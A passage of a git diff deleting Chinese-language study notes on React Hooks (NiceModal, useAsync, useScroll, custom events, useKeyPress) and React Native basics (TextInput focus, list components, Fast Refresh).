- type: "nice-modal/hide", - payload: { - modalId, - force, - }, - }; -} - -// 创建自定义 Hook 用于处理对话框逻辑 -export const useNiceModal = (modalId) => { - const dispatch = useDispatch(); - // 封装 Redux action 用于显示对话框 - const show = useCallback((args) => { - dispatch(showModal(modalId, args)); - }, [ - dispatch, - modalId, - ]); - // 封装 Redux action 用于隐藏对话框 - const hide = useCallback((force) => { - dispatch(hideModal(modalId, force)); - }, [ - dispatch, - modalId, - ]); - - const args = useSelector((s) => s[modalId]); - const hiding = useSelector((s) => s.hiding[modalId]); - - // 只要有参数就认为对话框应该显示,如果没有传递 args,在reducer 中会使用 - // 默认值 true - return { args, hiding, visible: !!args, show, hide }; -}; -``` - -同时,我们可以实现 NiceModal 这样一个组件,去封装通用的对话框操作逻辑。比如关闭按钮,确定按钮的事件处理,等等。为了方便演示,我们以 Ant Design 中的 Modal 组件为例: - -```jsx -function NiceModal({ id, children, ...rest }) { - const modal = useNiceModal(id); - return ( - modal.hide()} // 默认点击 cancel 时关闭对话框 - onOk={() => modal.hide()} // 默认点击确定关闭对话框 - afterClose={() => modal.hide(true)} // 动画完成后真正关闭 - visible={!modal.hiding} - {...rest} // 允许在使用 NiceModal 时透传参数给实际的 Modal - > - {children} - - ); -} -``` - -最后呢,我们用一个第 10 讲提到的容器模式,它会在对话框不可见时直接返回 null,从而不渲染任何内容;并且确保即使页面上定义了 100 个对话框,也不会影响性能: - -```jsx -export const createNiceModal = (modalId, Comp) => { - return (props) => { - const { visible, args } = useNiceModal(modalId); - if (!visible) return null; - return ; - }; -}; -``` - -使用 - -```jsx - -import { Button } from "antd"; -import NiceModal, { - createNiceModal, - useNiceModal, -} from "./NiceModal"; - -const MyModal = createNiceModal("my-modal", () => { - return ( - - Hello NiceModal! - - ); -}); - -function MyModalExample() { - const modal = useNiceModal("my-modal"); - return ( - <> - - - - ); -} -``` - -通过这个 Modal ID,我们就能够在应用的任何组件中去管理这个对话框了。 - -### 处理对话框返回值 - -```js -const modal = useNiceModal('my-modal'); -// 实现一个 promise API 来处理返回值 -modal.show(args).then(result => {}); -``` - -事实上,要实现这样一个机制并不困难,就是在 useNiceModal 这个 Hook 的实现中提供一个 modal.resolve 这样的方法,能够去 resolve modal.show 返回的 Promise。 - -代码的核心思路就是将 show 和 resolve 两个函数通过 Promise 联系起来。因为两个函数的调用位置不一样,所以我们使用了一个局部的临时变量,来存放 resolve 回调函数。通过这样的机制,就可以在对话框中去调用 modal.resolve 来返回值了。 - -```js - -// 使用一个 object 缓存 promise 的 resolve 回调函数 -const modalCallbacks = {}; -export const useNiceModal = (modalId) => { - const dispatch = useDispatch(); - const show = useCallback( - (args) => { - return new Promise((resolve) => { - // 显示对话框时,返回 promise 并且将 resolve 方法临时存起来 - modalCallbacks[modalId] = resolve; - dispatch(showModal(modalId, args)); - }); - }, - [dispatch, modalId], - ); - const resolve = useCallback( - (args) => { - if (modalCallbacks[modalId]) { - // 如果存在 resolve 回调函数,那么就调用 - modalCallbacks[modalId](args); - // 确保只能 resolve 一次 - delete modalCallbacks[modalId]; - } - }, - [modalId], - ); - - // 其它逻辑... - - // 将 resolve 也作为返回值的一部分 - return { show, hide, resolve, visible, hiding }; -}; -``` - -这段示意代码包括两个部分。首先是在 UserList 的表格组件中,由编辑按钮触发对话框的显示,并在对话框返回后,将用户输入更新到表格。第二部分则是在对话框中,用户点击了确定按钮后调用 modal.resolve 方法,将用户输入返回给 UserList 组件,从而完成整个编辑流程。 - -[演示代码](https://codesandbox.io/s/react-hooks-course-20vzg) diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" deleted file mode 100644 index 98c42030..00000000 --- "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" +++ /dev/null @@ -1,322 +0,0 @@ ---- -date: 2022-05-17 -category: -- React -- React Hooks ---- - -# 自定义 Hooks - -自定义 Hooks 在形式上其实非常简单,就是声明一个名字以 use 开头的函数,比如 useCounter。这个函数在形式上和普通的 JavaScript 函数没有任何区别,你可以传递任意参数给这个 Hook,也可以返回任何值。 - -但是要注意,**Hooks 和普通函数在语义上是有区别的,就在于函数中有没有用到其它 Hooks。** - -什么意思呢?就是说如果你创建了一个 useXXX 的函数,但是内部并没有用任何其它 Hooks,那么这个函数就不是一个 Hook,而只是一个普通的函数。但是如果用了其它 Hooks ,那么它就是一个 Hook。 - -举一个简单的例子,我们看到过一个简单计数器的实现,当时把业务逻辑都写在了函数组件内部,但其实是可以把业务逻辑提取出来成为一个 Hook。比如下面的代码: - -```jsx -import { useState, useCallback }from 'react'; - -function useCounter() { - // 定义 count 这个 state 用于保存当前数值 - const [count, setCount] = useState(0); - // 实现加 1 的操作 - const increment = useCallback(() => setCount(count + 1), [count]); - // 实现减 1 的操作 - const decrement = useCallback(() => setCount(count - 1), [count]); - // 重置计数器 - const reset = useCallback(() => setCount(0), []); - - // 将业务逻辑的操作 export 出去供调用者使用 - return { count, increment, decrement, reset }; -} -``` - -**一方面能让这个逻辑得到重用,另外一方面也能让代码更加语义化,并且易于理解和维护。** - -从这个例子,我们可以看到自定义 Hooks 的两个特点: - -1. 名字一定是以 use 开头的函数,这样 React 才能够知道这个函数是一个 Hook; -2. 函数内部一定调用了其它的 Hooks,可以是内置的 Hooks,也可以是其它自定义 Hooks。这样才能够让组件刷新,或者去产生副作用。 - -## 封装通用逻辑:useAsync - -**发起异步请求获取数据并显示在界面上。** - -```jsx -import { useState } from 'react'; - -const useAsync = (asyncFunction) => { - // 设置三个异步逻辑相关的 state - const [data, setData] = useState(null); - const [loading, setLoading] = useState(false); - const [error, setError] = useState(null); - // 定义一个 callback 用于执行异步逻辑 - const execute = useCallback(() => { - // 请求开始时,设置 loading 为 true,清除已有数据和 error 状态 - setLoading(true); - setData(null); - setError(null); - return asyncFunction() - .then((response) => { - // 请求成功时,将数据写进 state,设置 loading 为 false - setData(response); - setLoading(false); - }) - .catch((error) => { - // 请求失败时,设置 loading 为 false,并设置错误状态 - setError(error); - setLoading(false); - }); - }, [asyncFunction]); - - return { execute, loading, data, error }; -}; -``` - -那么有了这个 Hook,我们在组件中就只需要关心与业务逻辑相关的部分。比如代码可以简化成这样的形式: - -```jsx - -import React from "react"; -import useAsync from './useAsync'; - -export default function UserList() { - // 通过 useAsync 这个函数,只需要提供异步逻辑的实现 - const { - execute: fetchUsers, - data: users, - loading, - error, - } = useAsync(async () => { - const res = await fetch("https://reqres.in/api/users/"); - const json = await res.json(); - return json.data; - }); - - return ( - // 根据状态渲染 UI... - ); -} -``` - -**利用了 Hooks 能够管理 React 组件状态的能力,将一个组件中的某一部分状态独立出来,从而实现了通用逻辑的重用。** - -为什么非要用Hooks来封装: - -因为在 Hooks 中,你可以管理当前组件的 state,从而将更多的逻辑写在可重用的 Hooks 中。但是要知道,在普通的工具类中是无法直接修改组件 state 的,那么也就无法在数据改变的时候触发组件的重新渲染。 - -## 监听浏览器状态:useScroll - -虽然 React 组件基本上不需要关心太多的浏览器 API,但是有时候却是必须的: - -- 界面需要根据在窗口大小变化重新布局; -- 在页面滚动时,需要根据滚动条位置,来决定是否显示一个“返回顶部”的按钮。 - -正如 Hooks 的字面意思是“钩子”,它带来的一大好处就是:**可以让 React 的组件绑定在任何可能的数据源上。这样当数据源发生变化时,组件能够自动刷新。** - -```jsx -import { useState, useEffect } from 'react'; - -// 获取横向,纵向滚动条位置 -const getPosition = () => { - return { - x: document.body.scrollLeft, - y: document.body.scrollTop, - }; -}; -const useScroll = () => { - // 定一个 position 这个 state 保存滚动条位置 - const [position, setPosition] = useState(getPosition()); - useEffect(() => { - const handler = () => { - setPosition(getPosition(document)); - }; - // 监听 scroll 事件,更新滚动条位置 - document.addEventListener("scroll", handler); - return () => { - // 组件销毁时,取消事件监听 - document.removeEventListener("scroll", handler); - }; - }, []); - return position; -}; -``` - -“返回顶部“功能的实现: - -```jsx -import React, { useCallback } from 'react'; -import useScroll from './useScroll'; - -function ScrollTop() { - const { y } = useScroll(); - - const goTop = useCallback(() => { - document.body.scrollTop = 0; - }, []); - - const style = { - position: "fixed", - right: "10px", - bottom: "10px", - }; - // 当滚动条位置纵向超过 300 时,显示返回顶部按钮 - if (y > 300) { - return ( - - ); - } - // 否则不 render 任何 UI - return null; -} -``` - -## 拆分复杂组件 - -**尽量将相关的逻辑做成独立的 Hooks,然后在函数组中使用这些 Hooks,通过参数传递和返回值让 Hooks 之间完成交互。拆分逻辑的目的不一定是为了重用,而可以是仅仅为了业务逻辑的隔离。** - -很多同学在写函数组件时没有意识到 Hooks 就是普通的函数,所以通常不会这么去做隔离,而是习惯于一路写下来,这就会造成某个函数组件特别长。还是老生常谈的那句话,**改变这个状况的关键仍然在于开发思路的转变。**我们要真正**把 Hooks 就看成普通的函数,能隔离的尽量去做隔离,**从而让代码更加模块化,更易于理解和维护。 - -```jsx -function BlogList() { - // 获取文章列表... - // 获取分类列表... - // 组合文章数据和分类数据... - // 根据选择的分类过滤文章... - - // 渲染 UI ... -} -``` - -对此功能,我们可以将其拆分成 4 个 Hooks,每一个 Hook 都尽量小,代码如下: - -```jsx -import React, { useEffect, useCallback, useMemo, useState } from "react"; -import { Select, Table } from "antd"; -import _ from "lodash"; -import useAsync from "./useAsync"; - -const endpoint = "https://myserver.com/api/"; -const useArticles = () => { - // 使用上面创建的 useAsync 获取文章列表 - const { execute, data, loading, error } = useAsync( - useCallback(async () => { - const res = await fetch(`${endpoint}/posts`); - return await res.json(); - }, []), - ); - // 执行异步调用 - useEffect(() => execute(), [execute]); - // 返回语义化的数据结构 - return { - articles: data, - articlesLoading: loading, - articlesError: error, - }; -}; -const useCategories = () => { - // 使用上面创建的 useAsync 获取分类列表 - const { execute, data, loading, error } = useAsync( - useCallback(async () => { - const res = await fetch(`${endpoint}/categories`); - return await res.json(); - }, []), - ); - // 执行异步调用 - useEffect(() => execute(), [execute]); - - // 返回语义化的数据结构 - return { - categories: data, - categoriesLoading: loading, - categoriesError: error, - }; -}; -const useCombinedArticles = (articles, categories) => { - // 将文章数据和分类数据组合到一起 - return useMemo(() => { - // 如果没有文章或者分类数据则返回 null - if (!articles || !categories) return null; - return articles.map((article) => { - return { - ...article, - category: categories.find( - (c) => String(c.id) === String(article.categoryId), - ), - }; - }); - }, [articles, categories]); -}; -const useFilteredArticles = (articles, selectedCategory) => { - // 实现按照分类过滤 - return useMemo(() => { - if (!articles) return null; - if (!selectedCategory) return articles; - return articles.filter((article) => { - console.log("filter: ", article.categoryId, selectedCategory); - return String(article?.category?.name) === String(selectedCategory); - }); - }, [articles, selectedCategory]); -}; - -const columns = [ - { dataIndex: "title", title: "Title" }, - { dataIndex: ["category", "name"], title: "Category" }, -]; - -export default function BlogList() { - const [selectedCategory, setSelectedCategory] = useState(null); - // 获取文章列表 - const { articles, articlesError } = useArticles(); - // 获取分类列表 - const { categories, categoriesError } = useCategories(); - // 组合数据 - const combined = useCombinedArticles(articles, categories); - // 实现过滤 - const result = useFilteredArticles(combined, selectedCategory); - - // 分类下拉框选项用于过滤 - const options = useMemo(() => { - const arr = _.uniqBy(categories, (c) => c.name).map((c) => ({ - value: c.name, - label: c.name, - })); - arr.unshift({ value: null, label: "All" }); - return arr; - }, [categories]); - - // 如果出错,简单返回 Failed - if (articlesError || categoriesError) return "Failed"; - - // 如果没有结果,说明正在加载 - if (!result) return "Loading..."; - - return ( -
    -
    - - ); -} -``` - -## 小结 - -Hooks 典型的四个使用场景: - -1. 抽取业务逻辑; -2. 封装通用逻辑; -3. 监听浏览器状态; -4. 拆分复杂组件。 - -> Hooks 作为普通函数,是可以传递任何参数的。 diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" deleted file mode 100644 index a36859d7..00000000 --- "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" +++ /dev/null @@ -1,141 +0,0 @@ ---- -date: 2022-05-12 -category: -- React -- React Hooks ---- - -# 自定义事件 - -在 React 中,父子组件的交互是通过 props。这个机制其实是双向的,父组件通过 props 把值传递给子组件,而子组件则通过暴露一些事件,给父组件反馈到一些状态或数据,**这两个环节是组件之间通信的基础。** - -## 在 React 中使用原生事件 - -在 React 中进行事件监听的语法,和原生 DOM 事件的写法是非常类似的,都是在一个节点上加一个回调函数的属性来实现。比如下面的方式: - -```jsx - -``` - -在 React 中,都是约定使用骆驼体(Camel Case)。只要原生 DOM 有的事件,在 React 中基本都可以使用,只是写法上采用骆驼体就可以了。 - -其实是否需要 useCallback ,和函数的复杂度没有必然关系,而是和回调函数绑定到哪个组件有关。这是为了避免因组件属性变化而导致不必要的重新渲染。 - -如果你使用的是自定义组件,或者一些 UI 框架的组件,那么回调函数还都应该用 useCallback 进行封装。 - -## React 原生事件的原理:合成事件(Synthetic Events) - -由于虚拟 DOM 的存在,在 React 中即使绑定一个事件到原生的 DOM 节点,事件也并不是绑定在对应的节点上,而是**所有的事件都是绑定在根节点上**。然后由 React 统一监听和管理,获取事件后再分发到具体的虚拟 DOM 节点上。 - -在 React 17 之前,所有的事件都是绑定在 document 上的,而从 React 17 开始,**所有的事件都绑定在整个 App 上的根节点上,**这主要是为了以后页面上可能存在多版本 React 的考虑。 - -**React 这么做的原因主要有两个:** - -1. 第一,虚拟 DOM render 的时候, DOM 很可能还没有真实地 render 到页面上,所以无法绑定事件。 -2. 第二,React 可以屏蔽底层事件的细节,避免浏览器的兼容性问题。同时呢,对于 React Native 这种不是通过浏览器 render 的运行时,也能提供一致的 API。 - -**为什么事件绑定在某个根节点上,也能触发实际 DOM 节点的事件?** - -我们知道,在浏览器的原生机制中,事件会从被触发的节点往父节点冒泡,然后沿着整个路径一直到根节点,所以根节点其实是可以收到所有的事件的。**这也称之为浏览器事件的冒泡模型。** - -因此,无论事件在哪个节点被触发, React 都可以通过事件的 srcElement 这个属性,知道它是从哪个节点开始发出的,这样 React 就可以收集管理所有的事件,然后再以一致的 API 暴露出来。 - -这样的话,我们在写原生事件的时候,就再也不用再担心浏览器兼容性的问题了。如下图所示,就展示了事件机制冒泡模型的原理: - -img - -对于原生事件的处理,可以说是 React 的一个创新,不仅能够让你像以前在原生 DOM 节点上定义事件的方式一样,而且还提供了一致的 API,让我们不用再担心浏览器的兼容问题,使用起来也更加容易。 - -## 创建自定义事件 - -对于一个自定义组件,除了可以从 props 接收参数并用于渲染之外,还很可能需要和父组件进行交互,从而反馈信息。这个时候,我们就需要为组件创建自定义事件,这也是 React 整个 UI 模型中非常重要的一个环节。 - -虽然自定义事件和原生事件看上去类似,但是两者的机制是完全不一样的: - -- 原生事件是浏览器的机制; -- 而自定义事件则是纯粹的组件自己的行为,本质是一种回调函数机制。 - -在 React 中,自定义事件不用通过任何特殊的 API,只需要通过 props 给组件传递一个回调函数,然后在组件中的某个时机,比如用户输入,或者某个请求完成时,去调用这个传过来的回调函数就可以了。 - -当然,习惯上我们都会**将这样的回调函数命名为 onSomething 这种以“ on ”开头的名字**,方便在使用的时候理解。 - -```jsx -import { useState } from "react"; - -// 创建一个无状态的受控组件 -function ToggleButton({ value, onChange }) { - const handleClick = () => { - onChange(!value); - }; - return ( - - ); -} -``` - -那么下面的代码就演示了如何使用这样一个组件: - -```jsx -import { useState } from "react"; -import ToggleButton from './ToggleButton'; - -function ToggleButtonExample() { - const [on, setOn] = useState(true); - return ( - <> -

    Toggle Button

    - setOn(value)} /> - - ); -}; -``` - -## 使用 Hooks 封装键盘事件 - -**Hooks 具备绑定任何数据源的能力** - -在没有 Hooks 的时候,比如说我们要让某个显示表格的页面,支持通过左右键进行翻页的功能。那么我们就需要在 useEffect 里去做 window.addEventListnner,然后在返回的回调函数里去 window.removeEventListnner,实现起来就很麻烦。 - -但是,如果我们用一个 Hook 来实现这个功能,那么只要实现一次,就可以在多个组件中使用了。下面就是这个 Hook 的实现代码: - -```jsx -import { useEffect, useState } from "react"; - -// 使用 document.body 作为默认的监听节点 -const useKeyPress = (domNode = document.body) => { - const [key, setKey] = useState(null); - useEffect(() => { - const handleKeyPress = (evt) => { - setKey(evt.keyCode); - }; - // 监听按键事件 - domNode.addEventListener("keypress", handleKeyPress); - return () => { - // 接触监听按键事件 - domNode.removeEventListener("keypress", handleKeyPress); - }; - }, [domNode]); - return key; -}; -``` - -有了这个 Hook,我们在使用的时候就非常方便,无需做任何事件的绑定,**而是只要把键盘按键看做是一个不断变化的数据源**,这样,就可以去实时监听某个 DOM 节点上触发的键盘事件了。 - -比如下面就是去显示当前按键的一个简单使用例子: - -```jsx -import useKeyPress from './useKeyPress'; - -function UseKeyPressExample(){ - const key = useKeyPress(); - return ( -
    -

    UseKeyPress

    - -
    - ); -}; -``` - diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" deleted file mode 100644 index c19d422f..00000000 --- "a/src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" +++ /dev/null @@ -1,3 +0,0 @@ -# 路由管理 - -todo!!!! \ No newline at end of file diff --git "a/src/React/React Native/React Native \345\237\272\347\241\200.md" "b/src/React/React Native/React Native \345\237\272\347\241\200.md" deleted file mode 100644 index 9e660996..00000000 --- "a/src/React/React Native/React Native \345\237\272\347\241\200.md" +++ /dev/null @@ -1,302 +0,0 @@ ---- -date: 2022-05-12 -category: -- React -- ReactNative ---- - -# React Native 基础 - -## TextInput - -### 受控(Controlled)组件 - -受控的意思说的是使用 JavaScript 中的 state 去控制宿主组件中的值。一个受控的 ControlledTextInput 组件示例如下: - -```jsx -function ControlledTextInput() { - const [text, setText] = React.useState(''); - return -} -``` - -在这个示例中,我们先使用了 useState 创建了一个状态 text 和状态更新函数setText,并将状态text赋值给了 TextInput 的属性 value,value 是控制 TextInput 宿主组件展示的值用的。在用户输入文字后,会触发 onChangeText 事件,这时就会调用 setText,将状态 text 更新为用户最新输入的值。 - -受控组件和非受控组件有什么区别: - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/7621791793d0d73030124e472f9117a9.png) - -**使用受控组件,并且使用异步的文字改变事件**,这也符合大部分人的代码习惯。 - -### 输入框的焦点 - -你需要关注的第二件事是,如何控制输入框的焦点。通常光标放置在哪个输入框上,那个输入框就是页面的唯一焦点。 - -有些场景下,输入框的焦点是程序自动控制的,无需开发者处理。比如用户点击手机屏幕上的输入框,此时焦点和光标都会移到输入框上。 - -有些场景下,是需要代码介入控制焦点的。比如你购物搜索商品,从首页跳到搜索页时,搜索页的焦点就是用代码控制的。或者你在填写收货地址时,为了让你少点几次输入框,当你按下键盘的下一项按钮时,焦点就会从当前输入框自动转移到下一个输入框。 - -我们先来看怎么实现自动“对焦”,以搜索页的搜索输入框自动对焦为例,示例代码如下: - -```jsx - -``` - -TextInput 的 autoFocus 属性,就是用于控制自动对焦用的,其默认值是 false。也就是说,所有的 TextInput 元素默认都不会自动的对焦,而我们将 TextInput 的 autoFocus 属性设置为 true 时,框架会在 TextInput 元素挂载后,自动帮我们进行对焦。 - -搜索页面只有一个搜索框的场景下 ,autoFocus 是好用的。但当一个页面有多个输入框时,autoFocus 就没法实现焦点的转移了。比如,在购物 App 中填写收货地址时,你每完成一项填写,点击键盘中的下一项按钮,焦点就会自动转移一次,从姓名到电话再到地址。我们以前讲过,React/React Native 是声明式的,但是在操作自带状态的宿主属性时,比如焦点转移,声明式就不管用了,还得用给宿主组件下命令。那怎么下命令呢? - -我们先从最简单的控制 TextInput 焦点讲起,示例代码如下: - -```jsx -function AutoNextFocusTextInputs() { - const ref1 = React.useRef(null); - - useEffect(()=>{ - ref1.current?.focus() - },[]) - - return ( - - ) -} -``` - -在这段代码中,先声明了一个 ref1 用于保存 TextInput 宿主组件。在该宿主组件上封装了 Native/C++ 层暴露给 JavaScript 的命令,比如对焦focus()、失焦blur()、控制选中文字的光标setSelection。 - -AutoNextFocusTextInputs组件在挂载完成后,程序会调用ref1.current.focus(),将焦点对到 TextInput 元素上,这就是使用focus()实现对焦的原理。 - -使用 focus()命令对焦和使用autoFocus属性对焦,在原生应用层面的实现原理是一样的,只不过在 JavaScript 层面,前者是命令式的,后者是声明式的。对自带状态的宿主组件而言,命令式的方法能够进行更复杂的操作。 - -那要实现每点一次键盘的“下一项”按钮,将焦点对到下一个 TextInput 元素上,怎么实现呢?具体的示例代码如下: - -```jsx -function AutoNextFocusTextInputs() { - const ref1 = React.useRef(null); - const ref2 = React.useRef(null); - const ref3 = React.useRef(null); - - return ( - <> - // 姓名输入框 - // 电话输入框 - // 地址输入框 - - ); -} -``` - -首先,我们得声明 3 个 ref 用于保存 3 个 TextInput 元素。其次,实现这三个元素,它们依次是姓名输入框、电话输入框、地址输入框。最后,需要监听点击键盘完成按钮的提交事件onSubmitEditing,在onSubmitEditing的回调中,将焦点通过ref.focus()转移到下一个 TextInput 元素上。 - -### 联动键盘的体验 - -先来看第一个体验细节,iOS 微信搜索框的键盘右下角按钮有一个“置灰置蓝”的功能。默认情况下,键盘右下角的按钮显示的是置灰的“搜索”二字,当你在搜索框输入文字后,置灰的“搜索”按钮会变成蓝色背景的“搜索”二字。 - -置灰的作用是提示用户,没有输入文字不能进行搜索,按钮变蓝提示的是有内容了,可以搜索了。 - -控制键盘右下角按钮置灰置蓝的,是 TextInput 的enablesReturnKeyAutomatically属性,这个属性是 iOS 独有的属性,默认是false,也就是任何使用键盘右下角的按钮,都可以点击。你也可以通过将其设置为 true,使其在输入框中没有文字时置灰。 - -img - -有两个属性可以设置这些文案,包括 iOS/Android 通用的 returnKeyType 和 Android 独有的 returnKeyLabel。全部的属性你可以查一下文档,我这里只说一下通用属性: - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/dyyda94cdbb8d899c9852225d7e6f4fd.png) - -第三个体验细节是,登录页面的自动填写账号密码功能。虽然现在有了二维码登录,但传统的账号密码登录场景还是非常多的。每次登录的时候,要输入一遍账号密码,就很麻烦了。 - -无论是 iOS 还是 Android,它们都有系统层面的记住账号密码的功能,帮助用户快速完成账号密码的填写。完成快速填写功能的 TextInput 属性,在 iOS 上叫做textContentType,在 Android 上叫做autoComplete。 - -你可以将账号输入框的快速填写属性设置为username,将密码输入框的快速填写属性设置为password,帮助用户节约一些时间,提高一下整体的成功率。除此之外,一些姓名、电话、地址信息也可以快速填写。 - -img - -还有一些键盘的体验细节,比如keyboardType可以控制键盘类型,可以让用户更方便地输入电话号码phone-pad、邮箱地址email-address等等。 - -img - -当你知道这些键盘细节后,你就可以利用这些系统的特性,帮你的 App 体验变得更好。 - -```jsx -function AutoNextFocusTextInputs() { - const ref1,ref2,ref3 ... - - return ( - <> - - - - - ); -} -``` - -在这段代码中,我们使用了placeholder来提醒用户该输入框应该输入什么,使用了 textContentType="name" 来辅助用户填写姓名,使用了 keyboardType="phone-pad" 来指定键盘只用于输入电话号码,使用returnKeyType="next" 或 "done"来提示用户当前操作的含义,当然还有ref.current.focus()的自动聚焦功能。 - -### 总结 - -学会处理输入框的文字。有两种处理方式受控组件和非受控组件,受控组件更强大一些,也更符合大多数 React/React Native 开发者的习惯;学会处理输入框的焦点。处理焦点有两种方式:一种是声明式的autoFocus属性,另一种是命令式的ref.current.focus()方法,前者适用场景有限,后者适用场景更多;学会处理与输入框联动的键盘,包括键盘右下角的按钮、键盘提示文案、键盘类型等等。 - -## List(FlatList, RecyclerListView) - -为什么开源社区的 RecyclerListView 比官方的 FlastList 性能更好?FlastList、RecyclerListView 的优化原理是什么?FlastList 和 RecyclerListView 的底层实现都是滚动组件 ScrollView,所以我们先从 ScrollView 聊起。 - -### ScrollView:渲染所有内容的滚动组件 - -ScrollView 是一个支持横向或竖向的滚动组件,几乎所有页面都会用到。 - -ScrollView 组件类似于 Web 中的 或 标签,浏览器中的页面之所以能上下滚动,就是因为 html 或 body 标签默认有一个 overflow-y: scroll 的属性,如果你把标签的属性设置为 overflow-y: hidden,页面就不能滚动了。 - -React Native 的 ScrollView 组件在 Android 的底层实现用的是 ScrollView 和 HorizontalScrollView,在 iOS 的底层实现用的是 UIScrollView。 - -**所谓的滚动,解决的是在有限高度的屏幕内浏览无限高度的内容的问题。有限高度的容器是 ScrollView,无限高度,或者说高度不确定的内容是 ScrollView 的 children。** - -使用 ScrollView 组件时,**我们通常并不直接给 ScrollView 设置固定高度或宽度,而是给其父组件设置固定高度或宽度。** - -一般而言,我们会使用安全区域组件 SafeAreaView 组件作为 ScrollView 的父组件,并给 SafeAreaView 组件设置布局属性 flex:1,让内容自动撑高 SafeAreaView。使用 SafeAreaView 作为最外层组件的好处是,它可以帮我们适配 iPhone 的刘海屏,节约我们的适配成本,示例代码如下: - -```jsx - - - 1 - - -``` - -了解完 ScrollView 组件的基本使用方法后,我们再来看下 ScrollView 的性能,看看如果使用 ScrollView 来实现无限列表会怎么样。 - -```jsx - -// 10 个 item 就能填满整个屏幕,渲染很快 -// 1000 个 item 相当于 100+ 个屏幕的高度,渲染很慢 -const NUM_ITEMS = 1000; - -const makeContent = (nItems: number, styles: any) => { - return Array(nItems) - .fill(1) - .map((_, i) => ( - - {'Item ' + i} - - )); -}; - -const App = () => { - return ( - - {makeContent(NUM_ITEMS, styles.itemWrapper)} - - ); -}; -``` - -上面这段代码,说的就是使用 ScrollView 组件一次性直接渲染 1000 个子视图,这里没有做任何懒加载优化。 - -以信息流业务为例,用户进入页面后第一眼看到的只有屏幕中的信息,一般不超过 10 条。一次性渲染 10 条信息,其实很快,就是一眨眼的功夫。但如果是 1000 条呢?算力乘以 100,内存乘以 100,耗时也乘以 100,渲染速度就慢下来了。大量的计算和内存浪费在了用户看不到的地方。 - -### FlatList:按需渲染的列表组件 - -FlatList 列表组件就是 “自动”按需渲染的。 - -FlatList 是 React Native 官方提供的第二代列表组件。FlatList 组件底层使用的是虚拟列表 VirtualizedList,VirtualizedList 底层组件使用的是 ScrollView 组件。因此 VirtualizedList 和 ScrollView 组件中的大部分属性,FlatList 组件也可以使用。关于 FlatList 更具体的使用方法,你可以查看[官方文档](https://reactnative.dev/docs/flatlist)。现在,我们还是回到 FlatList 的原理,先从理论层面上理解 FlatList 为什么可以自动按需渲染 - -简单地讲,FlatList 性能比 ScrollView 好的原因是, **FlatList 列表组件利用按需渲染机制减少了首次渲染的视图,利用空视图的占位机制回收了原有视图的内存,**你可以对比一下二者的区别: - -```js -// 从上到下滚动时的渲染方式 -// SrcollView 渲染方式:一次渲染所有视图 -SrcollView0_9 = [{👁},{ },{ },{ }] // 浏览0~9条列表项 -SrcollView10_19 = [{ },{👁},{ },{ }] // 浏览10~19条列表项 -SrcollView20_29 = [{ },{ },{👁},{ }] // 浏览20~29条列表项 -SrcollView30_39 = [{ },{ },{ },{👁}] // 浏览30~39条列表项 - -// FlatList 渲染方式:按需渲染,看不见的地方用 $empty 占位 -FlatList0_9 = [{👁},{ }] // 浏览0~9条列表项 -FlatList10_19 = [{ },{👁},{ }] // 浏览10~19条列表项 -FlatList20_29 = [$empty,{},{👁},{}] // 浏览20~29条列表项 -FlatList30_39 = [$empty,$empty,{ },{👁}]// 浏览30~39条列表项 -``` - -$empty,这就是内存回收 - -40 条列表只是一个假设的例子,实现 FlatList 自动按需渲染的思路具体可以分为三步: - -1. 通过滚动事件的回调参数,计算需要按需渲染的区域; -2. 通过需要按需渲染的区域,计算需要按需渲染的列表项索引; -3. 只渲染需要按需渲染列表项,不需要渲染的列表项用空视图代替。 - -### RecyclerListView:可复用的列表组件 - - - -### PK:ScrollView、FlatList、RecyclerListView - -- ScrollView 适合内容少的页面,只有几个屏幕高页面是适合的; - -- FlatList 性能还过得去,但我不推荐你优先使用它,只有在你的列表项内容高度不能事先确定,或者不可枚举的情况下使用它; - -- RecyclerListView 性能最好,你应该优先使用它,但使用它的前提是可枚举且高度确定或大致确定 - -![image-20220512154131387](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512154131387.png) - -![image-20220512154139286](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220512154139286.png) - -## Fast Refresh:提高 UI 调试效率神器 - -React Native 快速刷新(Fast Refresh)是默认开启的,你不用做任何额外的配置,就能立刻体验到。 - -在使用快速刷新时,你应该知道一个提升开发效率的小技巧。我日常开发时习惯把模拟器放在代码编辑器右边,并且会把模拟器勾选window => stay on top选项,在把模拟器置顶在编辑器上方。 - -这样,我们就能在写代码和调试的同时,立刻看到模拟器中的效果。相比真机调试或者多屏来回切换,置顶模拟器可以减少手离开键盘和视野来回切换的次数,提高你的开发效率。 - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/57463070f313cb6e0e1425ee3930e8f4.png) - -### 基础原理:模块热替换 - -**React Native 的快速刷新功能的最早期版本,叫做热重载 Hot Reload,是基于 Webpack 的模块热替换(Hot Module Replacement)的原理开发的**。 - -我们写 React Native 之前,都会运行一个 react-native start 命令,启动一个 Metro 服务,而 Metro 服务就实现了模块热替换的功能。Metro 服务会把更新的代码打包发送给 React Native 应用,让应用能够及时更新,那这个过程大概是怎么样的呢?首先,Metro 服务会监听代码文件的变化,当你修改完代码(①),保存文件时(②),Metro 服务就会收到通知。在你保存好后,Metro 就会编译涉及到的更新文件(③),编译完成后再生成一个用于更新的 bundle。而 Metro 的模块热替换服务和 React Native 应用中的模块热替换客户端(HMR Client),在启动时其实已经建立好了 socket 连接。所以,当新 bundle 生成时,模块热替换服务会通过 socket 